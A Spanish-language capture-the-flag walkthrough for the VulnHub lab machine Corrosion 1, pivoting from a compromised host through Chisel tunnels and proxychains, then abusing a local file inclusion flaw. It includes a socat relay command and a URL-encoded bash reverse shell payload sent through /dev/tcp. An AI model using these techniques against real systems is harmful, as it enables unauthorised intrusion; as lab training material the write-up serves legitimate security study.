Corrosion 1
Sobre esta maquina: VulnHub
Sistema Operativo: Linux
Skills Usados:
Local File Inclusion (LFI)
LFI + RCE via SSH Log Poisoning (auth.log)
EXTRA: Reverse shell playing with socat to make the shell travel from an intermediary computer to us
Cracking ZIP file
EXTRA: SSH over Proxychains
Abusing sudoers privilege + Creating and compiling malicious C file [Privilege Escalation]
Metodologia:
Esta maquina es una continuidad de Corrosion2. En este punto ya Corrosion 2 se encuentra comprometida y somos administradores la misión será pivotear hacia esta nueva maquina victima.
Empezamos viendo las redes internas:
//
bash-5.0# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:6c:73:2d brd ff:ff:ff:ff:ff:ff
altname enp2s1
inet 192.168.1.142/24 brd 192.168.1.255 scope global dynamic noprefixroute ens33
valid_lft 26994sec preferred_lft 26994sec
inet6 fe80::55c8:b2f9:c2b6:e356/64 scope link noprefixroute
valid_lft forever preferred_lft forever
3: ens34: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:6c:73:37 brd ff:ff:ff:ff:ff:ff
altname enp2s2
inet 10.10.0.130/24 brd 10.10.0.255 scope global dynamic noprefixroute ens34
valid_lft 1791sec preferred_lft 1791sec
inet6 fe80::58ac:26d7:9513:1fb9/64 scope link noprefixroute
valid_lft forever preferred_lft forever
Vemos que hay una interfaz interna 10.10.0.130/24, así que creamos un script para poder conseguir el host victima:
//
bash-5.0# nano hostdescovery.sh
#!/bin/bash
for i in $(seq 1 254); do
timeout 1 bash -c "ping -c 1 10.10.0.$i" &> /dev/null && echo "[+] El HOST 10.10.0.$i esta activo" &
done; wait
Damos permisos de ejecucion y lo ejecutamos:
//
bash-5.0# chmod +x hostdescovery.sh
bash-5.0# ./hostdescovery.sh
[+] El HOST 10.10.0.1 esta activo
[+] El HOST 10.10.0.130 esta activo
[+] El HOST 10.10.0.129 esta activo
bash-5.0# hostname -I
192.168.1.142 10.10.0.130
Ya que dentro de la red interna somos la 10.10.0.130 y el script descubrió la 10.10.0.129 ya sabemos cual es el host de la victima.
Con el objetivo claro intentaremos hacer un port forwarding con Chisel:
Nos descargamos chisel, lo desconprimimos y le damos permisos de ejecucion:

//
chisel_1.10.1_linux_amd64.gz
❯ mv chisel_1.10.1_linux_amd64.gz chisel.gz
❯ gunzip chisel.gz
❯ chmod +x chisel
Ya con chisel funcional, creamos un servidor en python para transferirlo a la primera maquina vulnerada.

Una vez transferido y con permisos de ejecucion ahora ejecutamos chisel en nuestra maquina y en corrosion 2 para crear un tunel.

El tunel esta creado y hemos trasladado todos los puertos a nuestra maquina, eso quiere decir que ahora si podremos enumera y vulnerar corrosion1 usando Proxychains.
Realizamos un escaneo con nmap:
//
❯ proxychains nmap -sT --top-ports 1000 -n --open -Pn -T5 10.10.0.129 2>/dev/null
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-06 20:55 EDT
Nmap scan report for 10.10.0.129
Host is up (0.0059s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Miramos que corre por el puerto 80, pero pirmero configuramos foxyproxy con socks5 para poder verlo con normalidad , es un servidor apache 2:

Hacemos reconocimiento de directorios con gobuster:
//
❯ proxychains gobuster dir -u http://10.10.0.129/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --proxy socks5://127.0.0.1:1080
ProxyChains-3.1 (http://proxychains.sf.net)
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url: http://10.10.0.129/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] Proxy: socks5://127.0.0.1:1080
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
Starting gobuster in directory enumeration mode
/tasks (Status: 301) [Size: 310] [--> http://10.10.0.129/tasks/]
/blog-post (Status: 301) [Size: 314] [--> http://10.10.0.129/blog-post/]
Veamos que contienen los subdominios encontrados: (capturas)



Realizamos otra busqueda con Gobuster en blog-post:
//
❯ proxychains gobuster dir -u http://10.10.0.129/blog-post -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --proxy socks5://127.0.0.1:1080
ProxyChains-3.1 (http://proxychains.sf.net)
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url: http://10.10.0.129/blog-post
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] Proxy: socks5://127.0.0.1:1080
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
Starting gobuster in directory enumeration mode
/uploads (Status: 301) [Size: 322] [--> http://10.10.0.129/blog-post/uploads/]
/archives (Status: 301) [Size: 323] [--> http://10.10.0.129/blog-post/archives/]
En el subdominio /archives conseguimos un archivo log en php muy interesante:

Intentaremos buscar algún otro subdominio que nos permita conseguir archivos importantes dentro del sistema:
//
❯ gobuster fuzz -u "http://10.10.0.129/blog-post/archives/randylogs.php?FUZZ=/etc/passwd" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --proxy socks5://127.0.0.1:1080 | grep -v "Length=0"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url: http://10.10.0.129/blog-post/archives/randylogs.php?FUZZ=/etc/passwd
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Proxy: socks5://127.0.0.1:1080
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
Starting gobuster in fuzzing mode
Found: [Status=200] [Length=2832] [Word=file] http://10.10.0.129/blog-post/archives/randylogs.php?file=/etc/passwd
Conseguimos file, haciendo fuzz con gobuster hechemosle un vistazo:

Vemos que entre los usuarios figura Randy, ya tenemos su password de la primera maquina, pero no la tenemos para esta segunda maquina.
Listaremos el directorio var/log para verificar si tenemos permiso de visualizacion:
//
http://10.10.0.129/blog-post/archives/randylogs.php?file=/var/log/auth.log

Ahora intentaremos solicitar una terminal pero en nuestro sistema, eso si recordemos, esta red es cerrada y solo tiene comunicación con corrosion 2, asi que la reverse shell sera para corrosion 2 y una vez se establezca la conexion a traves de socat la enviaremos a nuestra maquina. para poder lograrlo haremos lo siguiente:
Ingresamos como root a randy (en la primera maquina) y descargamos SOCAT, para redirigir la reverse shell hacia nuestra maquina.
Enviamos socat a la sesion root de randy:


ahora que ya tenemos socat, lo utilizaremos para redirigir la terminal:
//
./socat TCP-LISTEN:4646,fork TCP:192.168.1.136:443

Ya con el comando listo, nos ponemos en escucha, en nuestro sistema por el puerto 443 y enviamos la reverse shell a la maquina de randy, para que se nos redirija:
//
http://10.10.0.129/blog-post/archives/randylogs.php?file=/var/log&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.0.130%2F443%200%3E%261%2

Y listo ya tenemos acceso a la terminal y oficialmente estamos dentro de Corrosion 1, pivoteando con exito desde Corrosion 2, dando por finalizada esta maquina.
Last updated